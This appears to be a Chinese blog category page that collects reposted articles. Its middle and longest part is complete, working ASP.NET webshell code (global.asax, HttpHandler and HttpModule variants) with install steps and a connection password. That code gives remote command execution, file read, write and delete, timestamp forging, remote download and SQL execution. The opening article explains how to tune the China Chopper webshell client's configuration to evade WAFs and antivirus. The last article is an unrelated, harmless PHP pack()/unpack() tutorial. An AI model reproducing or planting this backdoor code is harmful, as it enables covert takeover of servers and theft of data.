分类 学习类 下的文章

caidao.conf参数表

  1. <FLAG>

返回的内容分隔符,只限三个字符。我们知道原来的分割符是 ->| 与 |<-, 有些 waf 会拦截这个字符,所以,我们可以用生辟点的字符,比如说 ~>$。

  1. <UA>

定制 HTTP 请求中的 User-Agent 部分,我们看到默认的 caidao.conf 中将 UA 改成了百度蜘蛛的 UA, 当然你可以改成 Google 的嘛。有些时候需要改改,大部分情况下这个参数可以不用改。

  1. <K1> 与 <K2>

POST的参数名称,默认情况下, K1 是 z1,K2 是 z2。一般情况下,waf 是不会拦这个,所以可以不用改。

  1. <PHP_BASE>, <ASP_BASE>, <ASPX_BASE>, <PHP_BASE.加密示例>

这4个是 webshell 的基础代码部分,所有的功能代码都会发到这里进行组装,然后发送到服务端去。

如果你服务端的 webshell 做了一层加解密操作,比如服务端代码是这样的

<?php @eval(base64_decode($_POST['caidao']));?>

那么,你就可以在这里修改配置为

<PHP_BASE.加密示例>eval(base64_decode($_POST[id]));&id=%s</PHP_BASE.加密示例>

可以负责任的讲,免杀,过 waf 大部分都是在这里作文章的,后面基本都是一些功能函数,waf 一般是不会杀的,他要是敢杀,就证明他的业务中不需要那类操作。

这里就有意思了,你想,以前的菜刀只有一个 base64_decode 那现在,你就可以随便改了,比如说,你用 hex, 再比如你可以用凯撒密码,又或者是栅栏密码,再过分点,你可以用 AES, DES,最过分的就是自己写一个加密解密的算法。那样 waf 想拦就很尴尬了。(作者说的过 waf 大概就是这层意思吧)

  1. <GETBASEINFO>

获取基础信息的功能代码。比如你添加完 shell, 直接去虚拟终端,一进去就会显示当前路径,当前用户,系统类型什么的这些。

  1. <SHOWFOLDER>

文件目录查看功能代码。这里主要就是用户传进来一个路径,然后把这个路径下的目录,文件全都显示出来,包括一些属性,比如文件时间,权限,类型等。

  1. <SHOWTXTFILE>

查看文件内容,编辑文件也首先调用的就是这里。

  1. <SAVETXTFILE>

保存文件。

  1. <DELETEFILE>

删除文件。

10.<DOWNFILE>

下载服务器文件到本地。

  1. <UPLOADFILE>

上传文件到服务端。

  1. <PASTEFILE>

粘贴文件。

  1. <NEWFOLDER>

新建目录。

  1. <WGET>

从远程下载一个文件到服务器。

  1. <SHELL>

执行系统命令,这里比较尴尬的地方,就是相关函数被干掉的话,基本是没戏。

其它的就是一些数据库的功能代码了,我实在是不想写了,就那几个单词,百度翻译都知道是什么意思,我就不翻译了哈。

菜刀Customize类型 ASP.NET global.asax、httpHandlers、httpModules

特别注意:需要特别小心配置任何一个误操作都可能导致网站彻底崩溃,对于新手操作危险系数很高。这里只是技术分享,请最好先在本地测试。如有发现BUG与我联系 :) @园长
最近一直在折腾asp.net,看到有类似需求所以写了这个玩意。

一:global.asax

<%@ Application Language="C#" %> 

<script RunAt='server'> 

    void Application_Start(object sender, EventArgs e) 
    { 
        //在应用程序启动时运行的代码 

    } 

    void Application_End(object sender, EventArgs e) 
    { 
        //在应用程序关闭时运行的代码 

    } 

    void Application_Error(object sender, EventArgs e) 
    { 


    } 

    void Session_Start(object sender, EventArgs e) 
    { 
        //在新会话启动时运行的代码 

    } 

    void Session_End(object sender, EventArgs e) 
    { 
        //在会话结束时运行的代码。 
        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为 
        // InProc 时,才会引发 Session_End 事件。如果会话模式 
        //设置为 StateServer 或 SQLServer,则不会引发该事件。 

    } 

    void CP(string S, string D) 
    { 
        if (System.IO.Directory.Exists(S)) 
        { 
            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S); 
            System.IO.Directory.CreateDirectory(D); 
            foreach (System.IO.FileInfo F in m.GetFiles()) 
            { 
                System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name); 
            } 
            foreach (System.IO.DirectoryInfo F in m.GetDirectories()) 
            { 
                CP(S + "\\" + F.Name, D + "\\" + F.Name); 
            } 
        } 
        else 
        { 
            System.IO.File.Copy(S, D); 
        } 
    } 

    void EvalRequest(string action) 
    { 
        HttpContext context = HttpContext.Current; 
        HttpRequest request = context.Request; 
        HttpResponse response = context.Response; 

        string Z = action; 
        if (Z != "") 
        { 
            string Z1 = request.Form["Z1"]; 
            string Z2 = request.Form["Z2"]; 
            string R = ""; 
            try 
            { 
                switch (Z) 
                { 
                    case "A": 
                        { 
                            string[] c = System.IO.Directory.GetLogicalDrives(); 
                            R = string.Format("{0}\t", context.Server.MapPath("~")); 
                            for (int i = 0; i < c.Length; i++) 
                                R += c[i][0] + ":"; 
                            break; 
                        } 
                    case "B": 
                        { 
                            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1); 
                            foreach (System.IO.DirectoryInfo D in m.GetDirectories()) 
                            { 
                                R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); 
                            } 
                            foreach (System.IO.FileInfo D in m.GetFiles()) 
                            { 
                                R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); 
                            } 
                            break; 
                        } 
                    case "C": 
                        { 
                            System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default); 
                            R = m.ReadToEnd(); 
                            m.Close(); 
                            break; 
                        } 
                    case "D": 
                        { 
                            System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false, Encoding.Default); 
                            m.Write(Z2); 
                            R = "1"; 
                            m.Close(); 
                            break; 
                        } 
                    case "E": 
                        { 
                            if (System.IO.Directory.Exists(Z1)) 
                                System.IO.Directory.Delete(Z1, true); 
                            else 
                                System.IO.File.Delete(Z1); 
                            R = "1"; 
                            break; 
                        } 
                    case "F": 
                        { 
                            response.Clear(); 
                            response.Write("\x2D\x3E\x7C"); 
                            response.WriteFile(Z1); 
                            response.Write("\x7C\x3C\x2D"); 
                            goto End; 
                        } 
                    case "G": 
                        { 
                            byte[] B = new byte[Z2.Length / 2]; 
                            for (int i = 0; i < Z2.Length; i += 2) 
                            { 
                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
                            } 
                            System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create); 
                            fs.Write(B, 0, B.Length); 
                            fs.Close(); 
                            R = "1"; 
                            break; 
                        } 
                    case "H": 
                        { 
                            CP(Z1, Z2); 
                            R = "1"; 
                            break; 
                        } 
                    case "I": 
                        { 
                            if (System.IO.Directory.Exists(Z1)) 
                            { 
                                System.IO.Directory.Move(Z1, Z2); 
                            } 
                            else 
                            { 
                                System.IO.File.Move(Z1, Z2); 
                            } 
                            break; 
                        } 
                    case "J": 
                        { 
                            System.IO.Directory.CreateDirectory(Z1); 
                            R = "1"; 
                            break; 
                        } 
                    case "K": 
                        { 
                            DateTime TM = Convert.ToDateTime(Z2); 
                            if (System.IO.Directory.Exists(Z1)) 
                            { 
                                System.IO.Directory.SetCreationTime(Z1, TM); 
                                System.IO.Directory.SetLastWriteTime(Z1, TM); 
                                System.IO.Directory.SetLastAccessTime(Z1, TM); 
                            } 
                            else 
                            { 
                                System.IO.File.SetCreationTime(Z1, TM); 
                                System.IO.File.SetLastWriteTime(Z1, TM); 
                                System.IO.File.SetLastAccessTime(Z1, TM); 
                            } 
                            R = "1"; 
                            break; 
                        } 
                    case "L": 
                        { 
                            System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(new Uri(Z1)); 
                            RQ.Method = "GET"; 
                            RQ.ContentType = "application/x-www-form-urlencoded"; 
                            System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse(); 
                            System.IO.Stream WF = WB.GetResponseStream(); 
                            System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write); 
                            int i; 
                            byte[] buffer = new byte[1024]; 
                            while (true) 
                            { 
                                i = WF.Read(buffer, 0, buffer.Length); 
                                if (i < 1) break; FS.Write(buffer, 0, i); 
                            } 
                            WF.Close(); 
                            WB.Close(); 
                            FS.Close(); 
                            R = "1"; 
                            break; 
                        } 
                    case "M": 
                        { 
                            System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2)); 
                            System.Diagnostics.Process e = new System.Diagnostics.Process(); 
                            System.IO.StreamReader OT, ER; 
                            c.UseShellExecute = false; 
                            c.RedirectStandardOutput = true; 
                            c.RedirectStandardError = true; 
                            e.StartInfo = c; 
                            c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2); 
                            e.Start(); OT = e.StandardOutput; 
                            ER = e.StandardError; 
                            e.Close(); 
                            R = OT.ReadToEnd() + ER.ReadToEnd(); 
                            break; 
                        } 
                    case "N": 
                        { 
                            String strDat = Z1.ToUpper(); 
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1); 
                            Conn.Open(); 
                            R = Conn.Database + "\t"; 
                            Conn.Close(); break; 
                        } 
                    case "O": 
                        { 
                            String[] x = Z1.Replace("\r", "").Split('\n'); 
                            String strConn = x[0], strDb = x[1]; 
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn); 
                            Conn.Open(); 
                            System.Data.DataTable dt = Conn.GetSchema("Columns"); 
                            Conn.Close(); 
                            for (int i = 0; i < dt.Rows.Count; i++) 
                            { 
                                R += String.Format("{0}\t", dt.Rows[i][2].ToString()); 
                            } 
                            break; 
                        } 
                    case "P": 
                        { 
                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; 
                            String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb; 
                            p[2] = strTable; 
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn); 
                            Conn.Open(); 
                            System.Data.DataTable dt = Conn.GetSchema("Columns", p); 
                            Conn.Close(); 
                            for (int i = 0; i < dt.Rows.Count; i++) 
                            { 
                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); 
                            } 
                            break; 
                        } 
                    case "Q": 
                        { 
                            String[] x = Z1.Replace("\r", "").Split('\n'); 
                            String strDat, strConn = x[0], strDb = x[1]; 
                            int i, c; 
                            strDat = Z2.ToUpper(); 
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn); 
                            Conn.Open(); 
                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) 
                            { 
                                System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn); 
                                System.Data.DataSet ds = new System.Data.DataSet(); 
                                OD.Fill(ds); 
                                if (ds.Tables.Count > 0) 
                                { 
                                    System.Data.DataRowCollection rows = ds.Tables[0].Rows; 
                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
                                    { 
                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); 
                                    } 
                                    R += "\r\n"; 
                                    for (i = 0; i < rows.Count; i++) 
                                    { 
                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
                                        { 
                                            R += String.Format("{0}\t|\t", rows[i][c].ToString()); 
                                        } 
                                        R += "\r\n"; 
                                    } 
                                } 
                                ds.Clear(); 
                                ds.Dispose(); 
                            } 
                            else 
                            { 
                                System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand(); 
                                cm.CommandText = Z2; 
                                cm.ExecuteNonQuery(); 
                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; 
                            } 
                            Conn.Close(); 
                            break; 
                        } 
                    default: 
                        goto End; 
                } 
            } 
            catch (Exception E) 
            { 
                R = "ERROR:// " + E.Message; 
            } 
            response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D"); 
        End: ; 
        } 
    } 

    //在接收到一个应用程序请求时触发。对于一个请求来说,它是第一个被触发的事件,请求一般是用户输入的一个页面请求(URL)。 
    void Application_BeginRequest(object sender, EventArgs evt) 
    { 
        string action = Request.Form["023"]; 
        if (action != null) 
        { 
            EvalRequest(action); 
            Response.End(); 
        } 
    } 

</script>

二、httpHandlers
修改web.config,添加或者修改httpHandlers:

<httpHandlers> 
   <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/> 
</httpHandlers>

如果已经存在 httpHandlers 则在标签内添加,如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里,但是有一点需要特别注意:<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。

<system.webServer> 
    <modules runAllManagedModulesForAllRequests="true" /> 
</system.webServer>

Customize.cs代码:

using System; 
using System.Data; 
using System.Configuration; 
using System.Web; 
using System.IO; 
using System.Text; 
using System.Net; 
using System.Diagnostics; 
using System.Data.SqlClient; 

namespace WooYun 
{ 

    public class Customize 
    { 

        public static void CP(string S, string D) 
        { 
            if (Directory.Exists(S)) 
            { 
                DirectoryInfo m = new DirectoryInfo(S); 
                Directory.CreateDirectory(D); 
                foreach (FileInfo F in m.GetFiles()) 
                { 
                    File.Copy(S + "\\" + F.Name, D + "\\" + F.Name); 
                } 
                foreach (DirectoryInfo F in m.GetDirectories()) 
                { 
                    CP(S + "\\" + F.Name, D + "\\" + F.Name); 
                } 
            } 
            else 
            { 
                File.Copy(S, D); 
            } 
        } 

        public static void Request() 
        { 
            HttpContext context = HttpContext.Current; 
            HttpRequest request = context.Request; 
            HttpResponse response = context.Response; 
            string Z = request.Form["023"]; 
            if (Z != "") 
            { 
                string Z1 = request.Form["Z1"]; 
                string Z2 = request.Form["Z2"]; 
                string R = ""; 
                try 
                { 
                    switch (Z) 
                    { 
                        case "A": 
                            { 
                                string[] c = Directory.GetLogicalDrives(); 
                                R = string.Format("{0}\t", context.Server.MapPath("/")); 
                                for (int i = 0; i < c.Length; i++) 
                                    R += c[i][0] + ":"; 
                                break; 
                            } 
                        case "B": 
                            { 
                                DirectoryInfo m = new DirectoryInfo(Z1); 
                                foreach (DirectoryInfo D in m.GetDirectories()) 
                                { 
                                    R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); 
                                } 
                                foreach (FileInfo D in m.GetFiles()) 
                                { 
                                    R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); 
                                } 
                                break; 
                            } 
                        case "C": 
                            { 
                                StreamReader m = new StreamReader(Z1, Encoding.Default); 
                                R = m.ReadToEnd(); 
                                m.Close(); 
                                break; 
                            } 
                        case "D": 
                            { 
                                StreamWriter m = new StreamWriter(Z1, false, Encoding.Default); 
                                m.Write(Z2); 
                                R = "1"; 
                                m.Close(); 
                                break; 
                            } 
                        case "E": 
                            { 
                                if (Directory.Exists(Z1)) 
                                    Directory.Delete(Z1, true); 
                                else 
                                    File.Delete(Z1); 
                                R = "1"; 
                                break; 
                            } 
                        case "F": 
                            { 
                                response.Clear(); 
                                response.Write("\x2D\x3E\x7C"); 
                                response.WriteFile(Z1); 
                                response.Write("\x7C\x3C\x2D"); 
                                goto End; 
                            } 
                        case "G": 
                            { 
                                byte[] B = new byte[Z2.Length / 2]; 
                                for (int i = 0; i < Z2.Length; i += 2) 
                                { 
                                    B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); 
                                } 
                                FileStream fs = new FileStream(Z1, FileMode.Create); 
                                fs.Write(B, 0, B.Length); 
                                fs.Close(); 
                                R = "1"; 
                                break; 
                            } 
                        case "H": 
                            { 
                                CP(Z1, Z2); R = "1"; 
                                break; 
                            } 
                        case "I": 
                            { 
                                if (Directory.Exists(Z1)) 
                                { 
                                    Directory.Move(Z1, Z2); 
                                } 
                                else 
                                { 
                                    File.Move(Z1, Z2); 
                                } 
                                break; 
                            } 
                        case "J": 
                            { 
                                Directory.CreateDirectory(Z1); 
                                R = "1"; 
                                break; 
                            } 
                        case "K": 
                            { 
                                DateTime TM = Convert.ToDateTime(Z2); 
                                if (Directory.Exists(Z1)) 
                                { 
                                    Directory.SetCreationTime(Z1, TM); 
                                    Directory.SetLastWriteTime(Z1, TM); 
                                    Directory.SetLastAccessTime(Z1, TM); 
                                } 
                                else 
                                { 
                                    File.SetCreationTime(Z1, TM); 
                                    File.SetLastWriteTime(Z1, TM); 
                                    File.SetLastAccessTime(Z1, TM); 
                                } 
                                R = "1"; 
                                break; 
                            } 
                        case "L": 
                            { 
                                HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); 
                                RQ.Method = "GET"; 
                                RQ.ContentType = "application/x-www-form-urlencoded"; 
                                HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); 
                                Stream WF = WB.GetResponseStream(); 
                                FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); 
                                int i; 
                                byte[] buffer = new byte[1024]; 
                                while (true) 
                                { 
                                    i = WF.Read(buffer, 0, buffer.Length); 
                                    if (i < 1) break; FS.Write(buffer, 0, i); 
                                } 
                                WF.Close(); 
                                WB.Close(); 
                                FS.Close(); 
                                R = "1"; 
                                break; 
                            } 
                        case "M": 
                            { 
                                System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2)); 
                                System.Diagnostics.Process e = new System.Diagnostics.Process(); 
                                System.IO.StreamReader OT, ER; 
                                c.UseShellExecute = false; 
                                c.RedirectStandardOutput = true; 
                                c.RedirectStandardError = true; 
                                e.StartInfo = c; 
                                c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2); 
                                e.Start(); 
                                OT = e.StandardOutput; 
                                ER = e.StandardError; 
                                e.Close(); 
                                R = OT.ReadToEnd() + ER.ReadToEnd(); 
                                break; 
                            } 
                        case "N": 
                            { 
                                String strDat = Z1.ToUpper(); 
                                SqlConnection Conn = new SqlConnection(Z1); 
                                Conn.Open(); 
                                R = Conn.Database + "\t"; 
                                Conn.Close(); 
                                break; 
                            } 
                        case "O": 
                            { 
                                String[] x = Z1.Replace("\r", "").Split('\n'); 
                                String strConn = x[0], strDb = x[1]; 
                                SqlConnection Conn = new SqlConnection(strConn); 
                                Conn.Open(); 
                                DataTable dt = Conn.GetSchema("Columns"); 
                                Conn.Close(); 
                                for (int i = 0; i < dt.Rows.Count; i++) 
                                { 
                                    R += String.Format("{0}\t", dt.Rows[i][2].ToString()); 
                                } 
                                break; 
                            } 
                        case "P": 
                            { 
                                String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; 
                                String strConn = x[0], strDb = x[1], strTable = x[2]; 
                                p[0] = strDb; 
                                p[2] = strTable; 
                                SqlConnection Conn = new SqlConnection(strConn); 
                                Conn.Open(); 
                                DataTable dt = Conn.GetSchema("Columns", p); 
                                Conn.Close(); 
                                for (int i = 0; i < dt.Rows.Count; i++) 
                                { 
                                    R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); 
                                } 
                                break; 
                            } 
                        case "Q": 
                            { 
                                String[] x = Z1.Replace("\r", "").Split('\n'); 
                                String strDat, strConn = x[0], strDb = x[1]; 
                                int i, c; 
                                strDat = Z2.ToUpper(); 
                                SqlConnection Conn = new SqlConnection(strConn); 
                                Conn.Open(); 
                                if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) 
                                { 
                                    SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); 
                                    DataSet ds = new DataSet(); OD.Fill(ds); 
                                    if (ds.Tables.Count > 0) 
                                    { 
                                        DataRowCollection rows = ds.Tables[0].Rows; 
                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
                                        { 
                                            R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); 
                                        } 
                                        R += "\r\n"; for (i = 0; i < rows.Count; i++) 
                                        { 
                                            for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
                                            { 
                                                R += String.Format("{0}\t|\t", rows[i][c].ToString()); 
                                            } 
                                            R += "\r\n"; 
                                        } 
                                    } 
                                    ds.Clear(); 
                                    ds.Dispose(); 
                                } 
                                else 
                                { 
                                    SqlCommand cm = Conn.CreateCommand(); 
                                    cm.CommandText = Z2; 
                                    cm.ExecuteNonQuery(); 
                                    R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; 
                                } 
                                Conn.Close(); 
                                break; 
                            } 
                        default: 
                            goto End; 
                    } 
                } 
                catch (Exception E) 
                { 
                    R = "ERROR:// " + E.Message; 
                } 
                response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D"); 
            End: ; 
            } 
            response.End(); 
        } 
    } 

    public class CustomizeHttpHandler : IHttpHandler 
    { 
        public bool IsReusable 
        { 
            get 
            { 
                return true; 
            } 
        } 

        public void ProcessRequest(HttpContext context) 
        { 
            Customize.Request(); 
        } 
    } 

    public class CustomizeHttpModule : IHttpModule 
    { 

        #region IHttpModule 成员 

        public void Dispose() 
        { 

        } 

        public void Init(HttpApplication context) 
        { 
            context.BeginRequest += new EventHandler(context_BeginRequest); 
        } 

        void context_BeginRequest(object sender, EventArgs e) 
        { 
            Customize.Request(); 
        } 

        #endregion 
    } 

}

四:安装方法

global.asax是不需要编译的,所以直接忽略。

httpHandlers和httpModules配置方式:

1、自行编译上面的cs文件dll 
2、复制dll到bin目录 
3、修改上述配置,并仔细检查

或:

1、直接新建个Customize.cs文件 
2、复制Customize.cs文件到App_Code目录 
3、修改上述配置,并仔细检查

连接:

1、菜刀连接的时候必须选Customize: 
2、httpHandlers 可以自己指定后缀,比如你配置了.api请求那么可以http://xx.com/123456.api做为shell地址,可能会有不能拦截除aspx的情况 
3、httpModules可以随便访问一个只要不是静态文件的链接(比如jpg文件不允许被POST) 可以访问:http://xx.com/123456.xxx 
4、连接密码:023

FROM:http://p2j.cn/?p=1755

php pack()函数详解与示例

pack和unpack在一般的程序中还真的不容易见到,但是如果你用过很久以前的php生成excel你就会知道了。他的excel的头就是pack出来的
最近在尝试与C交互的时候又用上了这玩意,所以不得不再看看。其实就是C要求我一定要有包头。。。其实纯字符串也不错嘛。干嘛非得搞个包头呢?真纠结 .。

手册上有pack与unpack的介绍,但都是英文的。。。

任何一款拥有socket操作能力的语言都有一个专门用于组包的函数,php也不例外!

用了很久php了却很少有机会用php进行一些二进制操作。 最近用php写一个socket客户端连接一个用C++语言开发的游戏服务端。 服务器端开发人员使用了二进制的形式来定义协议的格式。协议格式如下:

包头(2bytes)+加密(1byte)+命令码(2bytes)+帧内容

1.包头的内容是记录帧内容的长度;

  1. 加密:0表示不加密,1表示加密;

  2. 命令码为服务端命令识别符号;

    一开始不了解php原来有pack可以来组装二进制包, 走了弯路,让服务端开发人员用C语言帮忙开发了的几个内存操作函数,按照协议规则返回二进制包,然后我将这几个方法编译成一组扩展函数供php使用。

    话归正题,本文是介绍如何使用pack和unpack这两个方法的。php官方手册举例太少,不能很容易理解,特别是那些格式化参数的使用。

转摘的参数中文说明:

pack/unpack 的摸板字符字符 含义
a 一个填充空的字节串
A 一个填充空格的字节串
b 一个位串,在每个字节里位的顺序都是升序
B 一个位串,在每个字节里位的顺序都是降序
c 一个有符号 char(8位整数)值
C 一个无符号 char(8位整数)值;关于 Unicode 参阅 U
d 本机格式的双精度浮点数
f 本机格式的单精度浮点数
h 一个十六进制串,低四位在前
H 一个十六进制串,高四位在前
i 一个有符号整数值,本机格式
I 一个无符号整数值,本机格式
l 一个有符号长整形,总是 32 位
L 一个无符号长整形,总是 32 位
n 一个 16位短整形,“网络”字节序(大头在前)
N 一个 32 位短整形,“网络”字节序(大头在前)
p 一个指向空结尾的字串的指针
P 一个指向定长字串的指针
q 一个有符号四倍(64位整数)值
Q 一个无符号四倍(64位整数)值
s 一个有符号短整数值,总是 16 位
S 一个无符号短整数值,总是 16 位,字节序跟机器芯片有关
u 一个无编码的字串
U 一个 Unicode 字符数字
v 一个“VAX”字节序(小头在前)的 16 位短整数
V 一个“VAX”字节序(小头在前)的 32 位短整数
w 一个 BER 压缩的整数
x 一个空字节(向前忽略一个字节)
X 备份一个字节
Z 一个空结束的(和空填充的)字节串
@ 用空字节填充绝对位置

string pack ( string $format [, mixed $args [, mixed $...]] )

一些规则:
1.每个字母后面都可以跟着一个数字,表示 count(计数),如果 count 是一个 * 表示剩下的所有东西。
2.如果你提供的参数比 $format 要求的少,pack 假设缺的都是空值。如果你提供的参数比 $format 要求的多,那么多余的参数被忽略。

下面还是用例子来说明用法会容易理解一点:

关于Pack:  
  
下面的第一部分把数字值包装成字节:  
$out = pack("CCCC", 65, 66, 67, 68);      # $out 等于"ABCD"  
$out = pack("C4", 65, 66, 67, 68);         # 一样的东西  
  
下面的对 Unicode 的循环字母做同样的事情:  
 $foo = pack("U4", 0x24b6, 0x24b7, 0x24b8, 0x24b9);  
  
下面的做类似的事情,增加了一些空:  
$out = pack("CCxxCC", 65, 66, 67, 68);      # $out 等于 "AB\0\0CD"  
  
打包你的短整数并不意味着你就可移植了:  
$out = pack("s2", 1, 2);          
# 在小头在前的机器上是 "\1\0\2\0"  
# 在大头在前的机器上是 "\0\1\0\2"  
  
在二进制和十六进制包装上,count 指的是位或者半字节的数量,而不是生成的字节数量:  
  $out = pack("B32", "...");  
    $out = pack("H8", "5065726c");         # 都生成“Perl”  
  
a 域里的长度只应用于一个字串:  
  $out = pack("a4", "abcd", "x", "y", "z");      # "abcd"  
  
要绕开这个限制,使用多倍声明:  
  $out = pack("aaaa",    "abcd", "x", "y", "z");   # "axyz"  
   $out = pack("a" x 4,   "abcd", "x", "y", "z");   # "axyz"  
  
a 格式做空填充:  
  $out = pack("a14", "abcdefg");         # " abcdefg\0\0\0\0\0\0"  
  
关于unpack:  
  
array unpack ( string $format, string $data )  
  
$data = "010000020007";  
unpack("Sint1/Cchar1/Sint2/Cchar2",$data);  
  
## array('int1'=>1, 'char1'=>'0','int2'=>2,'char2'=>7);  
  
最后本文开头讲到的协议使用pack/unpack 举例程序代码为 :  
  
$lastact   = pack('SCSa32a32',0x0040, 0x00, 0x0006, $username, $passwd );  
  
unpack('Sint1/Cchar1/Sint2/Cchar2/',$lastmessage);  

学习资料:
http://blog.csdn.net/jojobb3138688/archive/2007/05/07/1598609.aspx

我上面的内容来自于:http://blog.sina.com.cn/s/blog_3eba8f1c0100nq9r.html,我现在已经顺利的使用完了。黑黑
还有的参考资料:
http://bbs.phpchina.com/thread-104492-1-1.html
http://hi.baidu.com/chinetman/item/f78a71d847e7d638e2108fda

原文地址:http://www.neatstudio.com/show-2327-1.shtml